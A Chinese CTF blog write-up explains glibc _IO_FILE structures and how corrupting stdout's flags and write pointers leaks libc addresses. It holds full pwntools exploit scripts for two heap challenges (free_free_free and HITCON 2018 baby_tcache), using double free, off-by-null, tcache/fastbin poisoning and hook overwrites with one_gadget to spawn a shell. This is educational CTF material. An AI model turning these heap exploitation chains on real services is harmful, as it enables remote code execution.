浅析_IO_FILE攻击

en 2021-11-25 10:41:00
CTF

0x00 背景

_IO_FILE攻击从exp中来看很简单,但其背后的含有并不简单,可以用复杂来形容,也很模板化,在比赛中有几种比较常见的形式,除了House of orange,还有用它来泄露libc地址(此文章重点讲解),接下来一起来看看,动手调一调,给自己留个深刻的印象

0x01 _IO_FILE到底是个啥?

在一开始接触这个东西的时候,真的是一头雾水,各种结构体,晕头转向,其实IO_FILE的本质就是三个基本的文件流,stdin、stdout、stderr,这三个东西我们应该很常见,标准输入,标准输出,标准错误,在程序初始化的时候就已经默认生成好了,所以在通常情况下,我们再打开一个文件流的fd3,那么这些文件流是通过什么来索引的呢?答:IO_list_all会通过单项列表保存所有的文件流:

1.png

_IO_FILE的源码在/usr/include/x86_64-linux-gnu/bits/libio.h或者libio/libio.h,可以去看看,里面有各种各样的IO函数,但我们只关注_IO_FILE相关的函数,下面是_IO_FILE的函数:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;
  ...//下面为一些宏
};

_IO_FILE下面可以看到它的老爸_IO_FILE_plus,但并没有它的函数定义,定义在libio/libioP.h里面

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;//虚函数表
};

_IO_FILE file就是刚刚的那个结构体,_IO_jump_t如下,此虚表在House of orange用的比较多:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

_IO_FILE file大体就这样,可以考察下面的链接再加深一下:

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

IO_FILE相关利用

IO_FILE

接下来就是利用_IO_FILE泄露libc的原理

0x02 如何用_IO_FILE泄露libc

泄露的本质只是利用它原来的输出,只是可以任意地址写了之后改写了一些参数,让它本来的输出呈现出不一样的结果罢了!

下面就用puts函数来讲解,如何构造一些巧妙的值来达到泄露libc目的,puts源码如下:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

调用这么多函数最终是调用了vtable中的JUMP_FIELD(_IO_xsputn_t, __xsputn);,动态的结果也是这样(好像动调的前面都有个_file):

2.png

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
    {
      const char *p;
      for (p = s + n; p > s; )
        {
          if (*--p == '\n')
        {
          count = p - s + 1;
          must_flush = 1;
          break;
        }
        }
    }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
    count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
    /* If nothing else has to be written we must not signal the
       caller that everything has been written.  */
    return to_do == 0 ? EOF : n - to_do;

      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

      if (do_write)
    {
      count = new_do_write (f, s, do_write);
      to_do -= count;
      if (count < do_write)
        return n - to_do;
    }

      /* Now write out the remainder.  Normally, this will fit in the
     buffer, but it's somewhat messier for line-buffered files,
     so we let _IO_default_xsputn handle the general case. */
      if (to_do)
    to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
  }

接下来就是_IO_OVERFLOW,进到_IO_OVERFLOW就是泄露的重点了!

3.png

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
      /* Otherwise must be currently reading.
     If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
     logically slide the buffer forwards one block (by setting the
     read pointers to all point at the beginning of the block).  This
     makes room for subsequent output.
     Otherwise, set the read pointers to _IO_read_end (leaving that
     alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
    {
      size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
      _IO_free_backup_area (f);
      f->_IO_read_base -= MIN (nbackup,
                   f->_IO_read_base - f->_IO_buf_base);
      f->_IO_read_ptr = f->_IO_read_base;
    }

      if (f->_IO_read_ptr == f->_IO_buf_end)
    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end;
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

我们的最终的目的就是通过_IO_do_write来泄露libc,那要到达这个分支,需要绕过如下判断:

  1. if (f->_flags & _IO_NO_WRITES)
  2. if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

上面两个分支都是避免进入的,我们只要进入if (ch == EOF)这个判断里面,查找一些宏定义之后就可以算出flag的值了,以后只要用这个flag的值就能进入 _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);这个分支了:

_flags = 0xfbad0000
_flags &= ~_IO_NO_WRITES ==> _flags = 0xfbad0000
_flags |= _IO_CURRENTLY_PUTTING ==> _flags = 0xfbad0800

既然能正常进入_IO_do_write,我们进去看看,发现有个if {} else if{},这会绕不过了,只能看看进到那个分支里面对结果影响小,其实不用说,一看fp->_offset = _IO_pos_BAD;的影响就小,毕竟就一条语句,下面那个分支就很危险了,这里引用其他大佬的一段话:

这条分支我们尽可能的不碰,原因有两点:

第一,其实只要满足判断中的条件fp->_IO_read_end = fp->_IO_write_base即可绕过这里的判断,使之相等的操作并不是没有可能,但是在实际操作中实现的几率比较小。一般在做这种题的时候都会伴随着随机化保护的开启,进行攻击的时候,我们一般采用的都是覆盖末位字节的方式造成偏移,因为即使随机化偏移也会存在0x1000对齐。但是这时候就会遇到一个很尴尬的情况,_IO_read_end_IO_write_base存放的地址是由末位字节和其他高字节共同组成的,其他高字节由于随机化的缘故无法确定,所以何谈使两个成员变量中的地址相等呢

第二,可以看到else if这条分支中调用了_IO_SYSSEEK系统调用,即lssek函数,如果我们将_IO_read_end的值设置为0,那么_IO_SYSSEEK的二参fp->_IO_write_base - fp->_IO_read_end得出的数值就有可能非常大,这就会导致sleek函数执行不成功导致退出,这是因为载入内存的数据范围可能并不大,但是经过sleek函数修改过大的偏移之后超过了数据范围的边界。一旦sleek函数执行不成功导致退出,那么就不会到达我们想要的_IO_SYSWRITE系统调用了

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

既然要使得判断成立,那就|_IO_IS_APPENDING它就可以了:

_flags |= _IO_IS_APPENDING # _flags = 0xfbad1800

所以完整的调用链为:puts -> IO_puts -> _IO_new_file_xsputn -> _IO_new_file_overflow -> _IO_do_write -> new_do_write -> _IO_SYSWRITE

能够成功调用_IO_SYSWRITE之后还有一个问题,就是输出的大小问题,回看之前的IO_FILE结构体中有个叫_IO_write_base;,其实只要修改它的大小稍微小一点,就能输出与libc挨得很近的值,至于上面几个关于read的成员,覆盖成0就好,其实不太明白这其中的道理,猜测是为了放置它搅屎吧,设置成0简单又粗暴....

0x03 题目

在比赛中有两种情况来泄露,一个是在libc-2.23,另一个是在libc-2.27下,本质就是一个用fastbin来劫持IO_2_1_stdout,一个用tache来劫持IO_2_1_stdoutfastbin就得找一个/x7f大小的堆块才能链入fastbintache直接修改fd指针即可

libc-2.24

2021·莲城杯_free_free_free

题目本身不难,但是在比赛的时候由于没有布置好堆风水导致做的很难受,学到一个判断libc版本的方法:

zyen@ubuntu:~/Documents/pwn/competition/laincheng/free_free_free$ strings libc-2.23.so | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
    GNU Libidn by Simon Josefsson
zyen@ubuntu:~/Documents/pwn/competition/laincheng/free_free_free$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23
Copyright (C) 2016 自由软件基金会。
这是一个自由软件;请见源代码的授权条款。本软件不含任何没有担保;甚至不保证适销性
或者适合某些特殊目的。
由 Roland McGrath 和 Ulrich Drepper 编写。

保护全开就不说了,程序只有两个函数,现在比赛题越来越缺胳膊断腿的了,广东省强网杯的girlfriend就一个add....

add函数,除了限制size没有啥问题:

unsigned __int64 sub_AAF()
{
  int i; // [rsp+8h] [rbp-18h]
  int size; // [rsp+Ch] [rbp-14h]
  void *nbytes_4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; qword_202040[i]; ++i )
    ;
  puts("size> ");
  size = sub_A5B();
  if ( size < 0 || size > 127 )
  {
    puts("size error");
  }
  else
  {
    nbytes_4 = malloc(size);
    qword_202040[i] = nbytes_4;
    puts("message> ");
    read(0, nbytes_4, (unsigned int)size);
  }
  return __readfsqword(0x28u) ^ v4;
}

free函数就是漏洞点,存在double free

unsigned __int64 sub_B7E()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx> ");
  v1 = sub_A5B();
  free((void *)qword_202040[v1]);
  puts("Now chunk is freed");
  return __readfsqword(0x28u) ^ v2;
}

需要注意的是申请0x7f大小的堆块,实际上是申请0x90大小的堆块,当它free的时候就会进入unsorted bin里面

add(0x7f,"0"*8)
add(0x60,"1"*8)
add(0x60,"2"*8) 
free(0)

此时在申请0x18大小的堆块的时候就会对刚刚进入unsorted bin的堆块进行切割,剩下0x70大小的堆块就会指向main_arena+88,此时只要再申请回来就能修改main_arena+88IO_stdout-0x43的地方,到这就已经成功一大半了

add(0x18,"3"*8) 

1.png

可以看到IO_stdout-0x43处有个\x7f大小的堆块

add(0x60,"\xdd\x45")

4.png

之后就是double free将之前修改了main_arena+88的堆块给链进fast bin,之后就可以修改IO_FILE的结构体啦!

free(2)
free(1) 
free(2) 
add(0x60,'\x20') 
add(0x60)
add(0x60) 
add(0x60)

下面两个图可以看到,只要稍微将IO_write_base的大小稍微改小一点就能libc

payload = ""
payload += chr(0)*(0x33) 
payload += p64(0xfbad3887)  
payload += p64(0)*3
payload += "\x88"   #_chain filed 
# gdb.attach(io)
add(0x68,payload)

3.png

2.png

之后就是__malloc_hookone_gadget,并且用realloc来调整栈帧,不多说了...

完整exp:

from pwn import *

io = process('./free_free_free')#,env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./free_free_free')
libc = ELF("./libc-2.23.so")

def menu(opt):
    io.sendlineafter("> ",str(opt))

def add(size,data='zyen'):
    menu(1)
    io.sendlineafter("size> \n",str(size))
    io.sendafter("message> ",data)

def free(idx):
    menu(2)
    io.sendlineafter("idx> ",str(idx))

def exp():
    add(0x7f)
    add(0x60)
    add(0x60)
    free(0)
    add(0x18)
    add(0x60,"\xdd\x45")
    free(2)
    free(1)
    free(2)
    add(0x60,'\x20')
    add(0x60)
    add(0x60)
    add(0x60)
    payload = ""
    payload += chr(0)*(0x33) 
    payload += p64(0xfbad3887)  
    payload += p64(0)*3
    payload += "\x88"   #_chain filed 
    # gdb.attach(io)
    add(0x68,payload)
    leak_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
    print("[*]leak_addr => "+hex(leak_addr))
    libc_base = leak_addr - 0x3c48e0
    print("[*]libc_base =>"+hex(libc_base))

    one_gadget = libc_base + 0x4527a
    malloc_hook = libc_base +libc.sym["__malloc_hook"]-0x23
    realloc = libc_base + libc.sym['realloc']
    free(2)
    free(1) 
    free(2) 
    add(0x60,p64(malloc_hook) )
    add(0x60)
    add(0x60)
    payload = ""
    payload += chr(0)*(0x13-8) 
    payload += p64(one_gadget)
    payload += p64(realloc+16)  
    add(0x68,payload)

    menu(1)
    io.sendline('17')

    io.interactive()


if __name__ == '__main__' :
    a = 16
    while(a) :
        try :
            io = process('./free_free_free')#,env={"LD_PRELOAD":"./libc-2.23.so"}
            elf = ELF('./free_free_free')
            libc = ELF('./libc-2.23.so')
            # context.log_level = 'debug'
            exp()
            a -= 1
        except Exception as e :
            print e
        else :
            io.interactive()
            exit()
libc-2.27

HITCON 2018 PWN baby_tcache

程序简单的离谱,第一次看见只有两个选项的菜单题:

add函数里面的chunk_ptr[size] = 0;存在off-by-null,真的是不做多点题,对漏洞的敏感度真的不高,看半天没看出来....

int add()
{
  _QWORD *v0; // rax
  int i; // [rsp+Ch] [rbp-14h]
  _BYTE *chunk_ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return v0;
    }
    if ( !chunk_list[i] )
      break;
  }
  printf("Size:");
  size = read();
  if ( size > 0x2000 )
    exit(-2);
  chunk_ptr = malloc(size);
  if ( !chunk_ptr )
    exit(-1);
  printf("Data:");
  read_0(chunk_ptr, size);
  chunk_ptr[size] = 0;
  chunk_list[i] = chunk_ptr;
  v0 = chunk_size;
  chunk_size[i] = size;
  return v0;
}

free就没啥问题:

int del()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v1 = read();
  if ( v1 > 9 )
    exit(-3);
  if ( chunk_list[v1] )
  {
    memset(chunk_list[v1], 218, chunk_size[v1]);
    free(chunk_list[v1]);
    chunk_list[v1] = 0LL;
    chunk_size[v1] = 0LL;
  }
  return puts(":)");
}

那既然有off-by-null,那利用的方法也就很明确了!做堆叠,做法也是十分的简单,这里就不赘述了,忘了就去看看off-by-one

add(0x500)  #0
add(0x70)    #1
add(0x5f0)  #2
add(0x20)         #3

free(0)
free(1)
add(0x78,'A'*0x70+p64(0x590))

free(2)                

堆叠完成之后,在tache里面链入main_arena,就可以修改它的后俩个比特劫持到IO_2_1_stdout,虽然程序开了ASLR,但它的后12个bit是始终不会变的,也就是说还有4个bit会变,那怎么办呢?只能猜一个值然后来爆破,几率为1/16(一开始对爆破感觉好厉害的样子,其实就是写个try except....)

完整exp:

from pwn import *

def menu(opt):
    p.sendlineafter("Your choice: ",str(opt))

def add(size,data):
    menu(1)
    p.sendlineafter("Size:",str(size))
    p.sendafter("Data:",data)

def free(idx):
    menu(2)
    p.sendlineafter("Index:",str(idx))

def exp():
    add(0x500,'A'*0x500)  #0
    add(0x70,'A'*0x70)    #1
    add(0x5f0,'A'*0x500)  #2
    add(0x20,'A')         #3

    free(0)
    free(1)
    add(0x78,'A'*0x70+p64(0x590))

    free(2)                
    free(0)                
    add(0x500,'A'*0x500)
    add(0x80,'\x60\xb7')  

    add(0x70,'A')
    add(0x78,p64(0xfbad1800)+p64(0x0)*3+'\x90') #change the _flag
    #gdb.attach(p)

    data = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = data - 4114403
    one_gadget = libc_base + 0x4f322 #0x4f2c5 0x4f322 0x10a38c
    free_hook = libc_base + libc.symbols['__free_hook']
    log.success('libc base :'+hex(libc_base))
    #gdb.attach(p)

    free(1)
    free(2)
    add(0x80,p64(free_hook))
    # gdb.attach(p)
    add(0x80,p64(free_hook))
    add(0x80,p64(one_gadget))

    free(0)
    #gdb.attach(p)

if __name__ == '__main__' :
    a = 16
    while(a) :
        try :
            p = process('./baby_tcache',env={"LD_PRELOAD":"./libc-2.27.so"})#,env={"LD_PRELOAD":"./libc-2.27.so"}
            elf = ELF('./baby_tcache')
            libc = ELF('./libc-2.27.so')
            # context.log_level = 'debug'
            exp()
            a -= 1
        except Exception as e :
            print e
        else :
            p.interactive()
            exit()

参考文章:

Tcache利用总结

HITCON 2018 PWN baby_tcache超详细讲解

IO_FILE泄露libc

评论

starryloki 2021-11-25 10:43:24

God of IoT

lsf 2021-11-25 11:12:05

God of IoT

E

en

IOT researcher

twitter weibo github wechat

随机分类

逆向安全 文章:70 篇
Java安全 文章:34 篇
前端安全 文章:29 篇
Windows安全 文章:88 篇
企业安全 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录